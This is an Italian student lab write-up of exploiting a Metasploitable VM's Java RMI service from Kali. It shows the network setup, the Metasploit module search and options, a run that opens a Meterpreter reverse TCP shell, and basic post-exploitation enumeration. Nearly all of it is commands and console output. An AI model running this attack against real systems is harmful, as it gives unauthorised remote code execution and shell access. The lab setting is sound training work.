Progetto S7/L5

Come rischiesto dalla traccia, iniziamo configurando gli IP della macchina attaccante Kali e della macchina target Metasploit.

Di seguito vediamo la configurazione dell'IP della macchina kali con il comando 'sudo ip addr add':

```
┌──(kali㉿kali)-[~]
└─$ sudo ip addr add 192.168.11.111/24 dev eth0

┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d2:26:79 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global dynamic noprefixroute eth0
       valid_lft 3979sec preferred_lft 3979sec
    inet 192.168.11.111/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a8d5:139c:fd56:c473/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Qui invece vediamo la configurazione della Metasploitable nel file aperto con il comando 'nano' del path /etc/network/interfaces:

```
  GNU nano 2.0.7         File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp
#address 192.168.11.112
#netmask 255.255.255.0
```

Una volta configurate le macchine apriamo Metasplot sulla macchina Kali con il comando 'msfconsole' e ricerchiamo la vulnerabilità nota con il comando 'search java rmi', andando a selezionare l'exploit desiderato con il comando 'use' seguito o dal numero di riferimento o dal relativo path.

```
msf6 > search Java RMI

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22       excellent  Yes    Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
   1   exploit/multi/http/crushftp_rce_cve_2023_43177            2023-08-08       excellent  Yes    CrushFTP Unauthenticated RCE
   2     \_ target: Java                                         .                .          .      .
   3     \_ target: Linux Dropper                                .                .          .      .
   4     \_ target: Windows Dropper                              .                .          .      .
   5   exploit/multi/misc/java_jmx_server                        2013-05-22       excellent  Yes    Java JMX Server Insecure Configuration Java Code Execution
   6   auxiliary/scanner/misc/java_jmx_server                    2013-05-22       normal     No     Java JMX Server Insecure Endpoint Code Execution Scanner
   7   auxiliary/gather/java_rmi_registry                        .                normal     No     Java RMI Registry Interfaces Enumeration
   8   exploit/multi/misc/java_rmi_server                        2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   9     \_ target: Generic (Java Payload)                       .                .          .      .
   10    \_ target: Windows x86 (Native Payload)                 .                .          .      .
   11    \_ target: Linux x86 (Native Payload)                   .                .          .      .
   12    \_ target: Mac OS X PPC (Native Payload)                .                .          .      .
   13    \_ target: Mac OS X x86 (Native Payload)                .                .          .      .
   14  auxiliary/scanner/misc/java_rmi_server                    2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   15  exploit/multi/browser/java_rmi_connection_impl            2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   16  exploit/multi/browser/java_signed_applet                  1997-02-19       excellent  No     Java Signed Applet Social Engineering Code Execution
   17    \_ target: Generic (Java Payload)                       .                .          .      .
   18    \_ target: Windows x86 (Native Payload)                 .                .          .      .
   19    \_ target: Linux x86 (Native Payload)                   .                .          .      .
   20    \_ target: Mac OS X PPC (Native Payload)                .                .          .      .
   21    \_ target: Mac OS X x86 (Native Payload)                .                .          .      .
   22  exploit/multi/http/jenkins_metaprogramming                2019-01-08       excellent  Yes    Jenkins ACL Bypass and Metaprogramming RCE
   23    \_ target: Unix In-Memory                               .                .          .      .
   24    \_ target: Java Dropper                                 .                .          .      .
   25  exploit/linux/misc/jenkins_java_deserialize               2015-11-18       excellent  Yes    Jenkins CLI RMI Java Deserialization Vulnerability
   26  exploit/linux/http/kibana_timelion_prototype_pollution_rce  2019-10-30       manual     Yes    Kibana Timelion Prototype Pollution RCE
   27  exploit/multi/browser/firefox_xpi_bootstrapped_addon      2007-06-27       excellent  No     Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
   28    \_ target: Universal (Javascript XPCOM Shell)           .                .          .      .
   29    \_ target: Native Payload                               .                .          .      .
   30  exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315  2023-05-26       excellent  Yes    Openfire authentication bypass with RCE plugin
   31  exploit/multi/http/torchserver_cve_2023_43654             2023-10-03       excellent  Yes    PyTorch Model Server Registration and Deserialization RCE
   32  exploit/multi/http/totaljs_cms_widget_exec                2019-08-30       excellent  Yes    Total.js CMS 12 Widget JavaScript Code Injection
   33    \_ target: Total.js CMS on Linux                        .                .          .      .
   34    \_ target: Total.js CMS on Mac                          .                .          .      .
   35  exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc    2021-09-21       manual     Yes    VMware vCenter vScalation Priv Esc
```

Una volta selezionato, utilizziamo il comando 'options' per visualizzare i parametri da configurre, in questo caso RHOSTS (IP della macchina target) e LHOST (IP della Kali che abbiamo cambiato).

Successivamente lanciamo l'attacco con il comando 'run' e vediamo che siamo riusciti ad iniziare una sessione meterpreter.

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an ad
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhosts 192.168.11.111
[!] Unknown datastore option: lhosts. Did you mean LHOST?
lhosts => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.50.100:8080/sBS6VW
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:53781) at 2024-09-27 05:09:59 -0400

meterpreter >
```

A questo punto raccogliamo le configurazioni di rete con il comando 'ipconfig' e la tabella di routing con il comando 'route'.

```
meterpreter > ipconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fec1:3aba
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0
    192.168.50.101  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:fec1:3aba  ::       ::
meterpreter >
```